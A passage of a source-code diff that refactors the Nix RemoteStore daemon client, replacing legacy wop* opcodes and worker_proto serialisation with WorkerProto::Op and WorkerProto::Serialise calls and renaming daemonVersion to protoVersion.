printStorePath(path); + conn->to << WorkerProto::Op::IsValidPath << printStorePath(path); conn.processStderr(); return readInt(conn->from); } @@ -339,19 +181,13 @@ bool RemoteStore::isValidPathUncached(const StorePath & path) StorePathSet RemoteStore::queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute) { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 12) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { StorePathSet res; for (auto & i : paths) if (isValidPath(i)) res.insert(i); return res; } else { - conn->to << wopQueryValidPaths; - worker_proto::write(*this, conn->to, paths); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 27) { - conn->to << (settings.buildersUseSubstitutes ? 1 : 0); - } - conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom {}); + return conn->queryValidPaths(*this, &conn.daemonException, paths, maybeSubstitute); } } @@ -359,28 +195,28 @@ StorePathSet RemoteStore::queryValidPaths(const StorePathSet & paths, Substitute StorePathSet RemoteStore::queryAllValidPaths() { auto conn(getConnection()); - conn->to << wopQueryAllValidPaths; + conn->to << WorkerProto::Op::QueryAllValidPaths; conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom {}); + return WorkerProto::Serialise::read(*this, *conn); } StorePathSet RemoteStore::querySubstitutablePaths(const StorePathSet & paths) { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 12) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { StorePathSet res; for (auto & i : paths) { - conn->to << wopHasSubstitutes << printStorePath(i); + conn->to << WorkerProto::Op::HasSubstitutes << printStorePath(i); conn.processStderr(); if (readInt(conn->from)) res.insert(i); } return res; } else { - conn->to << wopQuerySubstitutablePaths; - worker_proto::write(*this, conn->to, paths); + conn->to << WorkerProto::Op::QuerySubstitutablePaths; + WorkerProto::write(*this, *conn, paths); conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom {}); + return WorkerProto::Serialise::read(*this, *conn); } } @@ -391,18 +227,18 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 12) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { for (auto & i : pathsMap) { SubstitutablePathInfo info; - conn->to << wopQuerySubstitutablePathInfo << printStorePath(i.first); + conn->to << WorkerProto::Op::QuerySubstitutablePathInfo << printStorePath(i.first); conn.processStderr(); unsigned int reply = readInt(conn->from); if (reply == 0) continue; auto deriver = readString(conn->from); if (deriver != "") info.deriver = parseStorePath(deriver); - info.references = worker_proto::read(*this, conn->from, Phantom {}); + info.references = WorkerProto::Serialise::read(*this, *conn); info.downloadSize = readLongLong(conn->from); info.narSize = readLongLong(conn->from); infos.insert_or_assign(i.first, std::move(info)); @@ -410,14 +246,14 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S } else { - conn->to << wopQuerySubstitutablePathInfos; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 22) { + conn->to << WorkerProto::Op::QuerySubstitutablePathInfos; + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 22) { StorePathSet paths; for (auto & path : pathsMap) paths.insert(path.first); - worker_proto::write(*this, conn->to, paths); + WorkerProto::write(*this, *conn, paths); } else - worker_proto::write(*this, conn->to, pathsMap); + WorkerProto::write(*this, *conn, pathsMap); conn.processStderr(); size_t count = readNum(conn->from); for (size_t n = 0; n < count; n++) { @@ -425,7 +261,7 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S auto deriver = readString(conn->from); if (deriver != "") info.deriver = parseStorePath(deriver); - info.references = worker_proto::read(*this, conn->from, Phantom {}); + info.references = WorkerProto::Serialise::read(*this, *conn); info.downloadSize = readLongLong(conn->from); info.narSize = readLongLong(conn->from); } @@ -441,21 +277,10 @@ void RemoteStore::queryPathInfoUncached(const StorePath & path, std::shared_ptr info; { auto conn(getConnection()); - conn->to << wopQueryPathInfo << printStorePath(path); - try { - conn.processStderr(); - } catch (Error & e) { - // Ugly backwards compatibility hack. - if (e.msg().find("is not valid") != std::string::npos) - throw InvalidPath(std::move(e.info())); - throw; - } - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 17) { - bool valid; conn->from >> valid; - if (!valid) throw InvalidPath("path '%s' is not valid", printStorePath(path)); - } info = std::make_shared( - ValidPathInfo::read(conn->from, *this, GET_PROTOCOL_MINOR(conn->daemonVersion), StorePath{path})); + StorePath{path}, + conn->queryPathInfo(*this, &conn.daemonException, path)); + } callback(std::move(info)); } catch (...) { callback.rethrow(); } @@ -466,9 +291,9 @@ void RemoteStore::queryReferrers(const StorePath & path, StorePathSet & referrers) { auto conn(getConnection()); - conn->to << wopQueryReferrers << printStorePath(path); + conn->to << WorkerProto::Op::QueryReferrers << printStorePath(path); conn.processStderr(); - for (auto & i : worker_proto::read(*this, conn->from, Phantom {})) + for (auto & i : WorkerProto::Serialise::read(*this, *conn)) referrers.insert(i); } @@ -476,9 +301,9 @@ void RemoteStore::queryReferrers(const StorePath & path, StorePathSet RemoteStore::queryValidDerivers(const StorePath & path) { auto conn(getConnection()); - conn->to << wopQueryValidDerivers << printStorePath(path); + conn->to << WorkerProto::Op::QueryValidDerivers << printStorePath(path); conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom {}); + return WorkerProto::Serialise::read(*this, *conn); } @@ -488,40 +313,49 @@ StorePathSet RemoteStore::queryDerivationOutputs(const StorePath & path) return Store::queryDerivationOutputs(path); } auto conn(getConnection()); - conn->to << wopQueryDerivationOutputs << printStorePath(path); + conn->to << WorkerProto::Op::QueryDerivationOutputs << printStorePath(path); conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom {}); + return WorkerProto::Serialise::read(*this, *conn); } -std::map> RemoteStore::queryPartialDerivationOutputMap(const StorePath & path) +std::map> RemoteStore::queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore_) { if (GET_PROTOCOL_MINOR(getProtocol()) >= 0x16) { - auto conn(getConnection()); - conn->to << wopQueryDerivationOutputMap << printStorePath(path); - conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom>> {}); + if (!evalStore_) { + auto conn(getConnection()); + conn->to << WorkerProto::Op::QueryDerivationOutputMap << printStorePath(path); + conn.processStderr(); + return WorkerProto::Serialise>>::read(*this, *conn); + } else { + auto & evalStore = *evalStore_; + auto outputs = evalStore.queryStaticPartialDerivationOutputMap(path); + // union with the first branch overriding the statically-known ones + // when non-`std::nullopt`. + for (auto && [outputName, optPath] : queryPartialDerivationOutputMap(path, nullptr)) { + if (optPath) + outputs.insert_or_assign(std::move(outputName), std::move(optPath)); + else + outputs.insert({std::move(outputName), std::nullopt}); + } + return outputs; + } } else { + auto & evalStore = evalStore_ ? *evalStore_ : *this; // Fallback for old daemon versions. // For floating-CA derivations (and their co-dependencies) this is an // under-approximation as it only returns the paths that can be inferred // from the derivation itself (and not the ones that are known because // the have been built), but as old stores don't handle floating-CA // derivations this shouldn't matter - auto derivation = readDerivation(path); - auto outputsWithOptPaths = derivation.outputsAndOptPaths(*this); - std::map> ret; - for (auto & [outputName, outputAndPath] : outputsWithOptPaths) { - ret.emplace(outputName, outputAndPath.second); - } - return ret; + return evalStore.queryStaticPartialDerivationOutputMap(path); } } std::optional RemoteStore::queryPathFromHashPart(const std::string & hashPart) { auto conn(getConnection()); - conn->to << wopQueryPathFromHashPart << hashPart; + conn->to << WorkerProto::Op::QueryPathFromHashPart << hashPart; conn.processStderr(); Path path = readString(conn->from); if (path.empty()) return {}; @@ -530,22 +364,23 @@ std::optional RemoteStore::queryPathFromHashPart(const std::string & ref RemoteStore::addCAToStore( - Source & dump, - std::string_view name, - ContentAddressMethod caMethod, - const StorePathSet & references, - RepairFlag repair) + Source & dump, + std::string_view name, + ContentAddressMethod caMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) { std::optional conn_(getConnection()); auto & conn = *conn_; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 25) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 25) { conn->to - << wopAddToStore + << WorkerProto::Op::AddToStore << name - << renderContentAddressMethod(caMethod); - worker_proto::write(*this, conn->to, references); + << caMethod.renderWithAlgo(hashAlgo); + WorkerProto::write(*this, *conn, references); conn->to << repair; // The dump source may invoke the store, so we need to make some room. @@ -558,32 +393,42 @@ ref RemoteStore::addCAToStore( } return make_ref( - ValidPathInfo::read(conn->from, *this, GET_PROTOCOL_MINOR(conn->daemonVersion))); + WorkerProto::Serialise::read(*this, *conn)); } else { if (repair) throw Error("repairing is not supported when building through the Nix daemon protocol < 1.25"); - std::visit(overloaded { - [&](const TextHashMethod & thm) -> void { + switch (caMethod.raw) { + case ContentAddressMethod::Raw::Text: + { + if (hashAlgo != HashAlgorithm::SHA256) + throw UnimplementedError("When adding text-hashed data called '%s', only SHA-256 is supported but '%s' was given", + name, printHashAlgo(hashAlgo)); std::string s = dump.drain(); - conn->to << wopAddTextToStore << name << s; - worker_proto::write(*this, conn->to, references); + conn->to << WorkerProto::Op::AddTextToStore << name << s; + WorkerProto::write(*this, *conn, references); conn.processStderr(); - }, - [&](const FixedOutputHashMethod & fohm) -> void { + break; + } + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + default: + { + auto fim = caMethod.getFileIngestionMethod(); conn->to - << wopAddToStore + << WorkerProto::Op::AddToStore << name - << ((fohm.hashType == htSHA256 && fohm.fileIngestionMethod == FileIngestionMethod::Recursive) ? 0 : 1) /* backwards compatibility hack */ - << (fohm.fileIngestionMethod == FileIngestionMethod::Recursive ? 1 : 0) - << printHashType(fohm.hashType); + << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::NixArchive) ? 0 : 1) /* backwards compatibility hack */ + << (fim == FileIngestionMethod::NixArchive ? 1 : 0) + << printHashAlgo(hashAlgo); try { conn->to.written = 0; connections->incCapacity(); { Finally cleanup([&]() { connections->decCapacity(); }); - if (fohm.fileIngestionMethod == FileIngestionMethod::Recursive) { + if (fim == FileIngestionMethod::NixArchive) { dump.drainInto(conn->to); } else { std::string contents = dump.drain(); @@ -600,9 +445,9 @@ ref RemoteStore::addCAToStore( } catch (EndOfFile & e) { } throw; } - + break; } - }, caMethod); + } auto path = parseStorePath(readString(conn->from)); // Release our connection to prevent a deadlock in queryPathInfo(). conn_.reset(); @@ -611,10 +456,33 @@ ref RemoteStore::addCAToStore( } -StorePath RemoteStore::addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method, HashType hashType, RepairFlag repair, const StorePathSet & references) +StorePath RemoteStore::addToStoreFromDump( + Source & dump, + std::string_view name, + FileSerialisationMethod dumpMethod, + ContentAddressMethod hashMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) { - return addCAToStore(dump, name, FixedOutputHashMethod{ .fileIngestionMethod = method, .hashType = hashType }, references, repair)->path; + FileSerialisationMethod fsm; + switch (hashMethod.getFileIngestionMethod()) { + case FileIngestionMethod::Flat: + fsm = FileSerialisationMethod::Flat; + break; + case FileIngestionMethod::NixArchive: + fsm = FileSerialisationMethod::NixArchive; + break; + case FileIngestionMethod::Git: + // Use NAR; Git is not a serialization method + fsm = FileSerialisationMethod::NixArchive; + break; + default: + assert(false); + } + if (fsm != dumpMethod) + unsupported("RemoteStore::addToStoreFromDump doesn't support this `dumpMethod` `hashMethod` combination"); + return addCAToStore(dump, name, hashMethod, hashAlgo, references, repair)->path; } @@ -623,9 +491,7 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 18) { - conn->to << wopImportPaths; - + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 18) { auto source2 = sinkToSource([&](Sink & sink) { sink << 1 // == path follows ; @@ -633,35 +499,31 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, sink << exportMagic << printStorePath(info.path); - worker_proto::write(*this, sink, info.references); + WorkerProto::write(*this, *conn, info.references); sink << (info.deriver ? printStorePath(*info.deriver) : "") << 0 // == no legacy signature << 0 // == no path follows ; }); - - conn.processStderr(0, source2.get()); - - auto importedPaths = worker_proto::read(*this, conn->from, Phantom {}); - assert(importedPaths.size() <= 1); + conn->importPaths(*this, &conn.daemonException, *source2); } else { - conn->to << wopAddToStoreNar + conn->to << WorkerProto::Op::AddToStoreNar << printStorePath(info.path) << (info.deriver ? printStorePath(*info.deriver) : "") - << info.narHash.to_string(Base16, false); - worker_proto::write(*this, conn->to, info.references); + << info.narHash.to_string(HashFormat::Base16, false); + WorkerProto::write(*this, *conn, info.references); conn->to << info.registrationTime << info.narSize << info.ultimate << info.sigs << renderContentAddress(info.ca) << repair << !checkSigs; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 23) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 23) { conn.withFramedSink([&](Sink & sink) { copyNAR(source, sink); }); - } else if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 21) { + } else if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 21) { conn.processStderr(0, &source); } else { copyNAR(source, conn->to); @@ -680,7 +542,12 @@ void RemoteStore::addMultipleToStore( auto source = sinkToSource([&](Sink & sink) { sink << pathsToCopy.size(); for (auto & [pathInfo, pathSource] : pathsToCopy) { - pathInfo.write(sink, *this, 16); + WorkerProto::Serialise::write(*this, + WorkerProto::WriteConn { + .to = sink, + .version = 16, + }, + pathInfo); pathSource->drainInto(sink); } }); @@ -693,10 +560,10 @@ void RemoteStore::addMultipleToStore( RepairFlag repair, CheckSigsFlag checkSigs) { - if (GET_PROTOCOL_MINOR(getConnection()->daemonVersion) >= 32) { + if (GET_PROTOCOL_MINOR(getConnection()->protoVersion) >= 32) { auto conn(getConnection()); conn->to - << wopAddMultipleToStore + << WorkerProto::Op::AddMultipleToStore << repair << !checkSigs; conn.withFramedSink([&](Sink & sink) { @@ -707,25 +574,15 @@ void RemoteStore::addMultipleToStore( } -StorePath RemoteStore::addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) -{ - StringSource source(s); - return addCAToStore(source, name, TextHashMethod{}, references, repair)->path; -} - void RemoteStore::registerDrvOutput(const Realisation & info) { auto conn(getConnection()); - conn->to << wopRegisterDrvOutput; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 31) { + conn->to << WorkerProto::Op::RegisterDrvOutput; + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 31) { conn->to << info.id.to_string(); conn->to << std::string(info.outPath.to_string()); } else { - worker_proto::write(*this, conn->to, info); + WorkerProto::write(*this, *conn, info); } conn.processStderr(); } @@ -736,25 +593,25 @@ void RemoteStore::queryRealisationUncached(const DrvOutput & id, try { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 27) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 27) { warn("the daemon is too old to support content-addressed derivations, please upgrade it to 2.4"); return callback(nullptr); } - conn->to << wopQueryRealisation; + conn->to << WorkerProto::Op::QueryRealisation; conn->to << id.to_string(); conn.processStderr(); auto real = [&]() -> std::shared_ptr { - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 31) { - auto outPaths = worker_proto::read( - *this, conn->from, Phantom> {}); + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 31) { + auto outPaths = WorkerProto::Serialise>::read( + *this, *conn); if (outPaths.empty()) return nullptr; return std::make_shared(Realisation { .id = id, .outPath = *outPaths.begin() }); } else { - auto realisations = worker_proto::read( - *this, conn->from, Phantom> {}); + auto realisations = WorkerProto::Serialise>::read( + *this, *conn); if (realisations.empty()) return nullptr; return std::make_shared(*realisations.begin()); @@ -765,30 +622,6 @@ void RemoteStore::queryRealisationUncached(const DrvOutput & id, } catch (...) { return callback.rethrow(); } } -static void writeDerivedPaths(RemoteStore & store, ConnectionHandle & conn, const std::vector & reqs) -{ - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 30) { - worker_proto::write(store, conn->to, reqs); - } else { - Strings ss; - for (auto & p : reqs) { - auto sOrDrvPath = StorePathWithOutputs::tryFromDerivedPath(p); - std::visit(overloaded { - [&](const StorePathWithOutputs & s) { - ss.push_back(s.to_string(store)); - }, - [&](const StorePath & drvPath) { - throw Error("trying to request '%s', but daemon protocol %d.%d is too old (< 1.29) to request a derivation file", - store.printStorePath(drvPath), - GET_PROTOCOL_MAJOR(conn->daemonVersion), - GET_PROTOCOL_MINOR(conn->daemonVersion)); - }, - }, sOrDrvPath); - } - conn->to << ss; - } -} - void RemoteStore::copyDrvsFromEvalStore( const std::vector & paths, std::shared_ptr evalStore) @@ -797,9 +630,16 @@ void RemoteStore::copyDrvsFromEvalStore( /* The remote doesn't have a way to access evalStore, so copy the .drvs. */ RealisedPath::Set drvPaths2; - for (auto & i : paths) - if (auto p = std::get_if(&i)) - drvPaths2.insert(p->drvPath); + for (const auto & i : paths) { + std::visit(overloaded { + [&](const DerivedPath::Opaque & bp) { + // Do nothing, path is hopefully there already + }, + [&](const DerivedPath::Built & bp) { + drvPaths2.insert(bp.drvPath->getBaseStorePath()); + }, + }, i.raw()); + } copyClosure(*evalStore, *this, drvPaths2); } } @@ -809,10 +649,10 @@ void RemoteStore::buildPaths(const std::vector & drvPaths, BuildMod copyDrvsFromEvalStore(drvPaths, evalStore); auto conn(getConnection()); - conn->to << wopBuildPaths; - assert(GET_PROTOCOL_MINOR(conn->daemonVersion) >= 13); - writeDerivedPaths(*this, conn, drvPaths); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 15) + conn->to << WorkerProto::Op::BuildPaths; + assert(GET_PROTOCOL_MINOR(conn->protoVersion) >= 13); + WorkerProto::write(*this, *conn, drvPaths); + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 15) conn->to << buildMode; else /* Old daemons did not take a 'buildMode' parameter, so we @@ -823,7 +663,7 @@ void RemoteStore::buildPaths(const std::vector & drvPaths, BuildMod readInt(conn->from); } -std::vector RemoteStore::buildPathsWithResults( +std::vector RemoteStore::buildPathsWithResults( const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) @@ -833,12 +673,12 @@ std::vector RemoteStore::buildPathsWithResults( std::optional conn_(getConnection()); auto & conn = *conn_; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 34) { - conn->to << wopBuildPathsWithResults; - writeDerivedPaths(*this, conn, paths); + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 34) { + conn->to << WorkerProto::Op::BuildPathsWithResults; + WorkerProto::write(*this, *conn, paths); conn->to << buildMode; conn.processStderr(); - return worker_proto::read(*this, conn->from, Phantom> {}); + return WorkerProto::Serialise>::read(*this, *conn); } else { // Avoid deadlock. conn_.reset(); @@ -847,54 +687,51 @@ std::vector RemoteStore::buildPathsWithResults( // fails, but meh. buildPaths(paths, buildMode, evalStore); - std::vector results; + std::vector results; for (auto & path : paths) { std::visit( overloaded { [&](const DerivedPath::Opaque & bo) { - results.push_back(BuildResult { - .status = BuildResult::Substituted, - .path = bo, + results.push_back(KeyedBuildResult { + { + .status = BuildResult::Substituted, + }, + /* .path = */ bo, }); }, [&](const DerivedPath::Built & bfd) { - BuildResult res { - .status = BuildResult::Built, - .path = bfd, + KeyedBuildResult res { + { + .status = BuildResult::Built + }, + /* .path = */ bfd, }; OutputPathMap outputs; - auto drv = evalStore->readDerivation(bfd.drvPath); + auto drvPath = resolveDerivedPath(*evalStore, *bfd.drvPath); + auto drv = evalStore->readDerivation(drvPath); const auto outputHashes = staticOutputHashes(*evalStore, drv); // FIXME: expensive - const auto drvOutputs = drv.outputsAndOptPaths(*this); - for (auto & output : bfd.outputs) { + auto built = resolveDerivedPath(*this, bfd, &*evalStore); + for (auto & [output, outputPath] : built) { auto outputHash = get(outputHashes, output); if (!outputHash) throw Error( "the derivation '%s' doesn't have an output named '%s'", - printStorePath(bfd.drvPath), output); + printStorePath(drvPath), output); auto outputId = DrvOutput{ *outputHash, output }; - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { auto realisation = queryRealisation(outputId); if (!realisation) - throw Error( - "cannot operate on an output of unbuilt " - "content-addressed derivation '%s'", - outputId.to_string()); - res.builtOutputs.emplace(realisation->id, *realisation); + throw MissingRealisation(outputId); + res.builtOutputs.emplace(output, *realisation); } else { - // If ca-derivations isn't enabled, assume that - // the output path is statically known. - const auto drvOutput = get(drvOutputs, output); - assert(drvOutput); - assert(drvOutput->second); res.builtOutputs.emplace( - outputId, + output, Realisation { .id = outputId, - .outPath = *drvOutput->second, + .outPath = outputPath, }); } } @@ -914,28 +751,16 @@ BuildResult RemoteStore::buildDerivation(const StorePath & drvPath, const BasicD BuildMode buildMode) { auto conn(getConnection()); - conn->to << wopBuildDerivation << printStorePath(drvPath); - writeDerivation(conn->to, *this, drv); - conn->to << buildMode; + conn->putBuildDerivationRequest(*this, &conn.daemonException, drvPath, drv, buildMode); conn.processStderr(); - BuildResult res { .path = DerivedPath::Built { .drvPath = drvPath } }; - res.status = (BuildResult::Status) readInt(conn->from); - conn->from >> res.errorMsg; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 29) { - conn->from >> res.timesBuilt >> res.isNonDeterministic >> res.startTime >> res.stopTime; - } - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 28) { - auto builtOutputs = worker_proto::read(*this, conn->from, Phantom {}); - res.builtOutputs = builtOutputs; - } - return res; + return WorkerProto::Serialise::read(*this, *conn); } void RemoteStore::ensurePath(const StorePath & path) { auto conn(getConnection()); - conn->to << wopEnsurePath << printStorePath(path); + conn->to << WorkerProto::Op::EnsurePath << printStorePath(path); conn.processStderr(); readInt(conn->from); } @@ -944,25 +769,14 @@ void RemoteStore::ensurePath(const StorePath & path) void RemoteStore::addTempRoot(const StorePath & path) { auto conn(getConnection()); - conn->to << wopAddTempRoot << printStorePath(path); - conn.processStderr(); - readInt(conn->from); -} - - -void RemoteStore::addIndirectRoot(const Path & path) -{ - auto conn(getConnection()); - conn->to << wopAddIndirectRoot << path; - conn.processStderr(); - readInt(conn->from); + conn->addTempRoot(*this, &conn.daemonException, path); } Roots RemoteStore::findRoots(bool censor) { auto conn(getConnection()); - conn->to << wopFindRoots; + conn->to << WorkerProto::Op::FindRoots; conn.processStderr(); size_t count = readNum(conn->from); Roots result; @@ -980,8 +794,8 @@ void RemoteStore::collectGarbage(const GCOptions & options, GCResults & results) auto conn(getConnection()); conn->to - << wopCollectGarbage << options.action; - worker_proto::write(*this, conn->to, options.pathsToDelete); + << WorkerProto::Op::CollectGarbage << options.action; + WorkerProto::write(*this, *conn, options.pathsToDelete); conn->to << options.ignoreLiveness << options.maxFreed /* removed options */ @@ -1003,7 +817,7 @@ void RemoteStore::collectGarbage(const GCOptions & options, GCResults & results) void RemoteStore::optimiseStore() { auto conn(getConnection()); - conn->to << wopOptimiseStore; + conn->to << WorkerProto::Op::OptimiseStore; conn.processStderr(); readInt(conn->from); } @@ -1012,7 +826,7 @@ void RemoteStore::optimiseStore() bool RemoteStore::verifyStore(bool checkContents, RepairFlag repair) { auto conn(getConnection()); - conn->to << wopVerifyStore << checkContents << repair; + conn->to << WorkerProto::Op::VerifyStore << checkContents << repair; conn.processStderr(); return readInt(conn->from); } @@ -1021,7 +835,7 @@ bool RemoteStore::verifyStore(bool checkContents, RepairFlag repair) void RemoteStore::addSignatures(const StorePath & storePath, const StringSet & sigs) { auto conn(getConnection()); - conn->to << wopAddSignatures << printStorePath(storePath) << sigs; + conn->to << WorkerProto::Op::AddSignatures << printStorePath(storePath) << sigs; conn.processStderr(); readInt(conn->from); } @@ -1033,16 +847,16 @@ void RemoteStore::queryMissing(const std::vector & targets, { { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 19) + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 19) // Don't hold the connection handle in the fallback case // to prevent a deadlock. goto fallback; - conn->to << wopQueryMissing; - writeDerivedPaths(*this, conn, targets); + conn->to << WorkerProto::Op::QueryMissing; + WorkerProto::write(*this, *conn, targets); conn.processStderr(); - willBuild = worker_proto::read(*this, conn->from, Phantom {}); - willSubstitute = worker_proto::read(*this, conn->from, Phantom {}); - unknown = worker_proto::read(*this, conn->from, Phantom {}); + willBuild = WorkerProto::Serialise::read(*this, *conn); + willSubstitute = WorkerProto::Serialise::read(*this, *conn); + unknown = WorkerProto::Serialise::read(*this, *conn); conn->from >> downloadSize >> narSize; return; } @@ -1056,7 +870,7 @@ void RemoteStore::queryMissing(const std::vector & targets, void RemoteStore::addBuildLog(const StorePath & drvPath, std::string_view log) { auto conn(getConnection()); - conn->to << wopAddBuildLog << drvPath.to_string(); + conn->to << WorkerProto::Op::AddBuildLog << drvPath.to_string(); StringSource source(log); conn.withFramedSink([&](Sink & sink) { source.drainInto(sink); @@ -1081,124 +895,34 @@ void RemoteStore::connect() unsigned int RemoteStore::getProtocol() { auto conn(connections->get()); - return conn->daemonVersion; + return conn->protoVersion; } +std::optional RemoteStore::isTrustedClient() +{ + auto conn(getConnection()); + return conn->remoteTrustsUs; +} void RemoteStore::flushBadConnections() { connections->flushBad(); } - -RemoteStore::Connection::~Connection() -{ - try { - to.flush(); - } catch (...) { - ignoreException(); - } -} - void RemoteStore::narFromPath(const StorePath & path, Sink & sink) { - auto conn(connections->get()); - conn->to << wopNarFromPath << printStorePath(path); - conn->processStderr(); - copyNAR(conn->from, sink); + auto conn(getConnection()); + conn->narFromPath(*this, &conn.daemonException, path, [&](Source & source) { + copyNAR(conn->from, sink); + }); } -ref RemoteStore::getFSAccessor() +ref RemoteStore::getFSAccessor(bool requireValidPath) { return make_ref(ref(shared_from_this())); } -static Logger::Fields readFields(Source & from) -{ - Logger::Fields fields; - size_t size = readInt(from); - for (size_t n = 0; n < size; n++) { - auto type = (decltype(Logger::Field::type)) readInt(from); - if (type == Logger::Field::tInt) - fields.push_back(readNum(from)); - else if (type == Logger::Field::tString) - fields.push_back(readString(from)); - else - throw Error("got unsupported field type %x from Nix daemon", (int) type); - } - return fields; -} - - -std::exception_ptr RemoteStore::Connection::processStderr(Sink * sink, Source * source, bool flush) -{ - if (flush) - to.flush(); - - while (true) { - - auto msg = readNum(from); - - if (msg == STDERR_WRITE) { - auto s = readString(from); - if (!sink) throw Error("no sink"); - (*sink)(s); - } - - else if (msg == STDERR_READ) { - if (!source) throw Error("no source"); - size_t len = readNum(from); - auto buf = std::make_unique(len); - writeString({(const char *) buf.get(), source->read(buf.get(), len)}, to); - to.flush(); - } - - else if (msg == STDERR_ERROR) { - if (GET_PROTOCOL_MINOR(daemonVersion) >= 26) { - return std::make_exception_ptr(readError(from)); - } else { - auto error = readString(from); - unsigned int status = readInt(from); - return std::make_exception_ptr(Error(status, error)); - } - } - - else if (msg == STDERR_NEXT) - printError(chomp(readString(from))); - - else if (msg == STDERR_START_ACTIVITY) { - auto act = readNum(from); - auto lvl = (Verbosity) readInt(from); - auto type = (ActivityType) readInt(from); - auto s = readString(from); - auto fields = readFields(from); - auto parent = readNum(from); - logger->startActivity(act, lvl, type, s, fields, parent); - } - - else if (msg == STDERR_STOP_ACTIVITY) { - auto act = readNum(from); - logger->stopActivity(act); - } - - else if (msg == STDERR_RESULT) { - auto act = readNum(from); - auto type = (ResultType) readInt(from); - auto fields = readFields(from); - logger->result(act, type, fields); - } - - else if (msg == STDERR_LAST) - break; - - else - throw Error("got unknown message type %x from Nix daemon", msg); - } - - return nullptr; -} - -void ConnectionHandle::withFramedSink(std::function fun) +void RemoteStore::ConnectionHandle::withFramedSink(std::function fun) { (*this)->to.flush(); @@ -1209,6 +933,7 @@ void ConnectionHandle::withFramedSink(std::function fun) std::thread stderrThread([&]() { try { + ReceiveInterrupts receiveInterrupts; processStderr(nullptr, nullptr, false); } catch (...) { ex = std::current_exception(); diff --git a/src/libstore/remote-store.hh b/src/libstore/remote-store.hh index 11d089cd2..4e1896268 100644 --- a/src/libstore/remote-store.hh +++ b/src/libstore/remote-store.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -16,21 +17,24 @@ class Pid; struct FdSink; struct FdSource; template class Pool; -struct ConnectionHandle; struct RemoteStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; - const Setting maxConnections{(StoreConfig*) this, 1, - "max-connections", "maximum number of concurrent connections to the Nix daemon"}; + const Setting maxConnections{this, 1, "max-connections", + "Maximum number of concurrent connections to the Nix daemon."}; - const Setting maxConnectionAge{(StoreConfig*) this, std::numeric_limits::max(), - "max-connection-age", "number of seconds to reuse a connection"}; + const Setting maxConnectionAge{this, + std::numeric_limits::max(), + "max-connection-age", + "Maximum age of a connection before it is closed."}; }; -/* FIXME: RemoteStore is a misnomer - should be something like - DaemonStore. */ +/** + * \todo RemoteStore is a misnomer - should be something like + * DaemonStore. + */ class RemoteStore : public virtual RemoteStoreConfig, public virtual Store, public virtual GcStore, @@ -38,8 +42,6 @@ class RemoteStore : public virtual RemoteStoreConfig, { public: - virtual bool sameMachine() = 0; - RemoteStore(const Params & params); /* Implementations of abstract store API methods. */ @@ -60,7 +62,7 @@ public: StorePathSet queryDerivationOutputs(const StorePath & path) override; - std::map> queryPartialDerivationOutputMap(const StorePath & path) override; + std::map> queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore = nullptr) override; std::optional queryPathFromHashPart(const std::string & hashPart) override; StorePathSet querySubstitutablePaths(const StorePathSet & paths) override; @@ -68,17 +70,28 @@ public: void 